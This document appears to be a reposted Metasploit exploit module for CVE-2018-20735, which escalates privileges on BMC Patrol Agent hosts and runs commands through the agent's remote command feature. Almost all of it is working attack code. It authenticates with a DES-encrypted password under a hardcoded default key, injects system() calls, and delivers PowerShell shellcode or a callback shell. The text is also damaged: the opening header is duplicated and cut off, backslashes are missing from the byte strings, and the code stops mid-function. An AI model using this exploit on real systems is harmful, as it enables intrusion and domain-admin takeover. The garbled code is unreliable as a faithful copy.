Category: Vulnerabilities
Hits: 402
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'

class Me ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell

@deflater = nil
@inflater = nil

SBOXES = [
0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
].freeze

PC1 = "x38x30x28x20x18x10x8x0x39x31x29x21x19x11x9"
"x1x3Ax32x2Ax22x1Ax12x0Ax2x3Bx33x2Bx23x3Ex36"
"x2Ex26x1Ex16x0Ex6x3Dx35x2Dx25x1Dx15x0Dx5x3C"
"x34x2Cx24x1Cx14x0Cx4x1Bx13x0Bx3x0x0x0x0x0x0x0x0".freeze

PC2 = "x0Dx10x0Ax17x0x4x2x1Bx0Ex5x14x9x16x12x0Bx3"
"x19x7x0Fx6x1Ax13x0Cx1x28x33x1Ex24x2Ex36x1D"
"x27x32x2Cx20x2Fx2Bx30x26x37x21x34x2Dx29x31"
"x23x1Cx1F".freeze

SBOX_BYTE_ORDER = [
1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
0x40000000, 0x80000000
].freeze

ROTATIONS = "x1x1x2x2x2x2x2x2x1x2x2x2x2x2x2x1".freeze
INIT_DES_KEY_0 = "x9axd3xbcx24x10xe2x8fx0e".freeze
INIT_DES_KEY_1 = "xe2x95x14x33x59xc3xecxa8".freeze

DES_ENCRYPT = 0

def initialize(info = {})
super(update_info(info,
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
'Description' => %q(
This module leverages the remote command execution feature provided by
the BMC Patrol Agent software. It can also be used to escalate privileges
on Windows hosts as the software runs as SYSTEM but only verfies that the password
of the provided user is correct. This also means if the software is running on a
domain controller, it can be used to escalate from a normal domain user to domain
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
powershell to execute the payload. The powershell version tends to timeout on
the first run so it may take multiple tries.
),
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
],
'References' =>
[
['CVE', '2018-20735'],
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[
'Windows Powershell Injected Shellcode', {
'Platform' => 'win'
}
],
[
'Generic Command Callback', {
'Arch' => ARCH_CMD,
'Platform' => %w[linux unix win]
}
]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'DisclosureDate' => 'Jan 17 2019'))

register_options(
[
Opt::RPORT(3181),
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
]
)

end

def cleanup
disconnect
print_status("Disconnected from BMC Patrol Agent.")
@inflater.close
@deflater.close
super
end

def get_target_os(srv_info_msg)
lines = srv_info_msg.split(" ")
fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"

os = nil
ver = nil
lines[2..-2].each do |i|
val = i.split("=")
if val.length == 2
if val[0].strip! == "T"
os = val[1]
elsif val[0].strip! == "VER"
ver = val[1]
end
end
end
[os, ver]
end

def get_cmd_output(cmd_output_msg)

lines = cmd_output_msg.split(" ")
fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"

# Parse out command results
idx_start = cmd_output_msg.index("Resultx00")
idx_end = cmd_output_msg.index("RemPsl_user")
output = cmd_output_msg[idx_start + 7..idx_end - 1]

output
end

def exploit

# Manually start the handler if not running a single command
if datastore['CMD'].nil? || datastore['CMD'].empty?

# Set to nil if the cmd is empty for checks further down
datastore['CMD'] = nil
datastore['DisablePayloadHandler'] = false

# Configure the payload handler
payload_instance.exploit_config = {
'active_timeout' => 300
}
# Setup the payload handler
payload_instance.setup_handler

# Start the payload handler
payload_instance.start_handler

end

# Initialize zlib objects
@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
@inflater = Zlib::Inflate.new

# Connect to the BMC Patrol Agent
connect
print_status("Connected to BMC Patrol Agent.")

# Create session msg
create_session
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?

# Authenticate
authenticate_user(datastore['USER'], datastore['PASSWORD'])

# Receive the authentication response
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?

ret_msg = process_response(ret_data)
if ret_msg =~ /logged in/
print_status("Successfully authenticated user.")
else
fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
end

# Receive the server info
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
srv_info = process_response(ret_data)

# Get the target's OS from their info msg
target_os = get_target_os(srv_info)

# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end

target_name = target.name
if !datastore['CMD'].nil?
command = datastore['CMD'].tr('"', '"')
print_status("Command to execute: #{command}")
elsif target_name == 'Windows Powershell Injected Shellcode'
# Get encoded powershell of payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
else
command = payload.raw.tr('"', '"')
end

# Run command
run_cmd(command)

# Receive command confirmation
ret_data = receive_msg
if !ret_data.nil?
process_response(ret_data)
end

# Receive command output
ret_data = receive_msg
if !ret_data.nil? && !datastore['CMD'].nil?
cmd_result_data = process_response(ret_data)
cmd_result = get_cmd_output(cmd_result_data)
print_status("Output: #{cmd_result}")
end

# Handle the shell
handler

end

def receive_msg

header = sock.get_once(6)
if header.nil?
return
end

payload_size_arr = header[0, 4]
payload_size = payload_size_arr.unpack1("N")
payload = ''
if payload_size > 0
payload = sock.get_once(payload_size)
if payload.nil?
return
end
end

return header + payload

end

def send_msg(type, compression, data)

data_len = data.length
buf = [data_len].pack('N')

# Set the type
buf += [type].pack('C')

# Set compression flag
buf += [compression].pack('C')

# Add data
buf += data

# Send msg
sock.put(buf)

end

def process_response(ret_data)

# While style checks complain, I intend to leave this parsing
# in place for debugging purposes
ret_size_arr = ret_data[0, 4]
ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment

msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
comp_flag = ret_data[5, 1]

payload_data = ret_data[6..-1]
if comp_flag == "x00"
bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
payload_data = @inflater.inflate(payload_data)
end

return payload_data

end

def run_cmd(cmd)

user_num = rand 1000..9999
msg_1 = %(R_E
{
RE_ID=1
RE_PDESC=0 RemPsl system("#{cmd}"); RemPsl_user_#{user_num}
RE_ORG=PemApi
RE_SEV=1
RE_NSEV=5
RE_ST=
}
)

msg_1 += "x00"
# Compress the message
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
send_msg(0x44, 0x0, comp_data)

end

def identify(user)

inner_len = 15
msg_type = 8
len_str = [inner_len].pack("N")
msg_str = [msg_type].pack("N")
msg_1 = %(PEM_MSG
{
NSDL=#{inner_len}
PEM_DGRAM=#{len_str}#{msg_str}#{user}x00
}
)
msg_1 += "x00"
print_status("Msg: #{msg_1}")
bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
# Compress the message
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
send_msg(0x44, 0x0, comp_data)

end

def create_session
sess_msg = "x00x00x00x00x00x00x00x00x05x02x00x04x02x04x03x10x00x00x03x04x00x00x00x00x01x01x04x00xffx00x00x00"
sess_msg += "x00" * 0x68
send_msg(0x45, 0x2, sess_msg)
end

def authenticate_user(user, password)
# Default encryption key
enc_key = 'k$C4}@"_'
output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
# Convert to hex string
encrpted_pw = output_data.unpack1("H*")
des_pw = encrpted_pw.upcase

msg_1 = %(ID
{
HOST=user
USER=#{user}
PASS=#{des_pw}
VER=V9.6.00
T=PEMAPI
HTBT=1
TMOT=1728000
RTRS=3
}
)

msg_1 += "x00"
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
send_msg(0x44, 0x0, comp_data)

end

def rotate_block_init(input_block_tuple)

v6 = 0
v5 = 0
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
v3 = input_block_tuple[0]
v4 = input_block_tuple[1]

if (v4 & 0x2000000) != 0
v5 = 1
end
if (v4 & 0x20000) != 0
v5 |= 2
end
if (v4 & 0x200) != 0
v5 |= 4
end
if (v4 & 2) != 0
v5 |= 8
end
if (v3 & 0x2000000) != 0
v5 |= 0x10
end
if (v3 & 0x20000) != 0
v5 |= 0x20
end
if (v3 & 0x200) != 0
v5 |= 0x40
end
if (v3 & 2) != 0
v5 |= 0x80
end
if (v4 & 0x8000000) != 0
v5 |= 0x100
end
if (v4 & 0x80000) != 0
v5 |= 0x200
end
if (v4 & 0x800) != 0
v5 |= 0x400
end
if (v4 & 8) != 0
v5 |= 0x800
end
if (v3 & 0x8000000) != 0
v5 |= 0x1000
end
if (v3 & 0x80000) != 0
v5 |= 0x2000
end
if (v3 & 0x800) != 0
v5 |= 0x4000
end
if (v3 & 8) != 0
v5 |= 0x8000
end
if (v4 & 0x20000000) != 0
v5 |= 0x10000
end
if (v4 & 0x200000) != 0
v5 |= 0x20000
end
if (v4 & 0x2000) != 0
v5 |= 0x40000
end
if (v4 & 0x20) != 0
v5 |= 0x80000
end
if (v3 & 0x20000000) != 0
v5 |= 0x100000
end
if (v3 & 0x200000) != 0
v5 |= 0x200000
end
if (v3 & 0x2000) != 0
v5 |= 0x400000
end
if (v3 & 0x20) != 0
v5 |= 0x800000
end
if (v4 < 0)
v5 |= 0x1000000
end
if (v4 & 0x800000) != 0
v5 |= 0x2000000
end
if (v4 & 0x8000) != 0
v5 |= 0x4000000
end
if (v4 & 0x80) != 0
v5 |= 0x8000000
end
if (v3 < 0)
v5 |= 0x10000000
end
if (v3 & 0x800000) != 0
v5 |= 0x20000000
end
if (v3 & 0x8000) != 0
v5 |= 0x40000000
end
if (v3 & 0x80) != 0
v5 |= 0x80000000
end
if (v4 & 0x1000000) != 0
v6 = 1
end
if (v4 & 0x10000) != 0
v6 |= 2
end
if (v4 & 0x100) != 0
v6 |= 4
end
if (v4 & 1) != 0
v6 |= 8
end
if (v3 & 0x1000000) != 0
v6 |= 0x10
end
if (v3 & 0x10000) != 0
v6 |= 0x20
end
if (v3 & 0x100) != 0
v6 |= 0x40
end
if (v3 & 1) != 0
v6 |= 0x80
end
if (v4 & 0x4000000) != 0
v6 |= 0x100
end
if (v4 & 0x40000) != 0
v6 |= 0x200
end
if (v4 & 0x400) != 0
v6 |= 0x400
end
if (v4 & 4) != 0
v6 |= 0x800
end
if (v3 & 0x4000000) != 0
v6 |= 0x1000
end
if (v3 & 0x40000) != 0
v6 |= 0x2000
end
if (v3 & 0x400) != 0
v6 |= 0x4000
end
if (v3 & 4) != 0
v6 |= 0x8000
end
if (v4 & 0x10000000) != 0
v6 |= 0x10000
end
if (v4 & 0x100000) != 0
v6 |= 0x20000
end
if (v4 & 0x1000) != 0
v6 |= 0x40000
end
if (v4 & 0x10) != 0
v6 |= 0x80000
end
if (v3 & 0x10000000) != 0
v6 |= 0x100000
end
if (v3 & 0x100000) != 0
v6 |= 0x200000
end
if (v3 & 0x1000) != 0
v6 |= 0x400000
end
if (v3 & 0x10) != 0
v6 |= 0x800000
end
if (v4 & 0x40000000) != 0
v6 |= 0x1000000
end
if (v4 & 0x400000) != 0
v6 |= 0x2000000
end
if (v4 & 0x4000) != 0
v6 |= 0x4000000
end
if (v4 & 0x40) != 0
v6 |= 0x8000000
end
if (v3 & 0x40000000) != 0
v6 |= 0x10000000
end
if (v3 & 0x400000) != 0
v6 |= 0x20000000
end
if (v3 & 0x4000) != 0
v6 |= 0x40000000
end
if (v3 & 0x40) != 0
v6 |= 0x80000000
end

# Create return tuple
ret_block = Array.new
ret_block.push v5
ret_block.push v6
ret_block
end

def rotate_block_final(input_block_tuple)

v6 = 0
v5 = 0
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
v3 = input_block_tuple[0]
v4 = input_block_tuple[1]

if (v4 & 0x80) != 0
v5 = 1
end
if (v3 & 0x80) != 0
v5 |= 2
end
if (v4 & 0x8000) != 0
v5 |= 4
end
if (v3 & 0x8000) != 0
v5 |= 8
end
if (v4 & 0x800000) != 0
v5 |= 0x10
end
if (v3 & 0x800000) != 0
v5 |= 0x20
end
if (v4 < 0)
v5 |= 0x40
end
if (v3 < 0)
v5 |= 0x80
end
if (v4 & 0x40) != 0
v5 |= 0x100
end
if (v3 & 0x40) != 0
v5 |= 0x200
end
if (v4 & 0x4000) != 0
v5 |= 0x400
end
if (v3 & 0x4000) != 0
v5 |= 0x800
end
if (v4 & 0x400000) != 0
v5 |= 0x1000
end
if (v3 & 0x400000) != 0
v5 |= 0x2000
end
if (v4 & 0x40000000) != 0
v5 |= 0x4000
end
if (v3 & 0x40000000) != 0
v5 |= 0x8000
end
if (v4 & 0x20) != 0
v5 |= 0x10000
end
if (v3 & 0x20) != 0
v5 |= 0x20000
end
if (v4 & 0x2000) != 0
v5 |= 0x40000
end
if (v3 & 0x2000) != 0
v5 |= 0x80000
end
if (v4 & 0x200000) != 0
v5 |= 0x100000
end
if (v3 & 0x200000) != 0
v5 |= 0x200000
end
if (v4 & 0x20000000) != 0
v5 |= 0x400000
end
if (v3 & 0x20000000) != 0
v5 |= 0x800000
end
if (v4 & 0x10) != 0
v5 |= 0x1000000
end
if (v3 & 0x10) != 0
v5 |= 0x2000000
end
if (v4 & 0x1000) != 0
v5 |= 0x4000000
end
if (v3 & 0x1000) != 0
v5 |= 0x8000000
end
if (v4 & 0x100000) != 0
v5 |= 0x10000000
end
if (v3 & 0x100000) != 0
v5 |= 0x20000000
end
if (v4 & 0x10000000) != 0
v5 |= 0x40000000
end
if (v3 & 0x10000000) != 0
v5 |= 0x80000000
end
if (v4 & 8) != 0
v6 = 1
end
if (v3 & 8) != 0
v6 |= 2
end
if (v4 & 0x800) != 0
v6 |= 4
end
if (v3 & 0x800) != 0
v6 |= 8
end
if (v4 & 0x80000) != 0
v6 |= 0x10
end
if (v3 & 0x80000) != 0
v6 |= 0x20
end
if (v4 & 0x8000000) != 0
v6 |= 0x40
end
if (v3 & 0x8000000) != 0
v6 |= 0x80
end
if (v4 & 4) != 0
v6 |= 0x100
end
if (v3 & 4) != 0
v6 |= 0x200
end
if (v4 & 0x400) != 0
v6 |= 0x400
end
if (v3 & 0x400) != 0
v6 |= 0x800
end
if (v4 & 0x40000) != 0
v6 |= 0x1000
end
if (v3 & 0x40000) != 0
v6 |= 0x2000
end
if (v4 & 0x4000000) != 0
v6 |= 0x4000
end
if (v3 & 0x4000000) != 0
v6 |= 0x8000
end
if (v4 & 2) != 0
v6 |= 0x10000
end
if (v3 & 2) != 0
v6 |= 0x20000
end
if (v4 & 0x200) != 0
v6 |= 0x40000
end
if (v3 & 0x200) != 0
v6 |= 0x80000
end
if (v4 & 0x20000) != 0
v6 |= 0x100000
end
if (v3 & 0x20000) != 0
v6 |= 0x200000
end
if (v4 & 0x2000000) != 0
v6 |= 0x400000
end
if (v3 & 0x2000000) != 0
v6 |= 0x800000
end
if (v4 & 1) != 0
v6 |= 0x1000000
end
if (v3 & 1) != 0
v6 |= 0x2000000
end
if (v4 & 0x100) != 0
v6 |= 0x4000000
end
if (v3 & 0x100) != 0
v6 |= 0x8000000
end
if (v4 & 0x10000) != 0
v6 |= 0x10000000
end
if (v3 & 0x10000) != 0
v6 |= 0x20000000
end
if (v4 & 0x1000000) != 0
v6 |= 0x40000000
end
if (v3 & 0x1000000) != 0
v6 |= 0x80000000
end

# Create return tuple
ret_block = Array.new
ret_block.push v5
ret_block.push v6
ret_block
end

def load(a1)
a2 = Array.new(8, 0)
v3 = a1
a2[0] = a1 & 0xff
v3 >>= 3
a2[1] = v3 & 0xff
v3 >>= 4
a2[2] = v3 & 0xff
v3 >>= 4
a2[3] = v3 & 0xff
v3 >>= 4
a2[4] = v3 & 0xff
v3 >>= 4
a2[5] = v3 & 0xff
v3 >>= 4
a2[6] = v3 & 0xff
v3 >>= 4
a2[7] = v3 & 0xff
a2[0] = (a2[0] * 2) & 0xff
a2[7] |= (16 * a2[0]) & 0xff
v3 >>= 4
a2[0] |= v3 & 0xff

data_block = a2.pack("c*").unpack("V*")
data_block[0] &= 0x3F3F3F3F
data_block[1] &= 0x3F3F3F3F
data_block
end

def desx(data_block, ksch, idx)
ksch = ksch.pack("V*")
ksch = ksch.unpack("Q<*")
key_block = ksch[idx]

data_block_ptr = data_block.pack("V*")
data_block_ptr = data_block_ptr.unpack1("Q<*")
data_block_ptr ^= key_block

counter = 1
data_block_byte_ptr = [data_block_ptr].pack('Q<')
left = SBOXES[data_block_byte_ptr[0].ord]
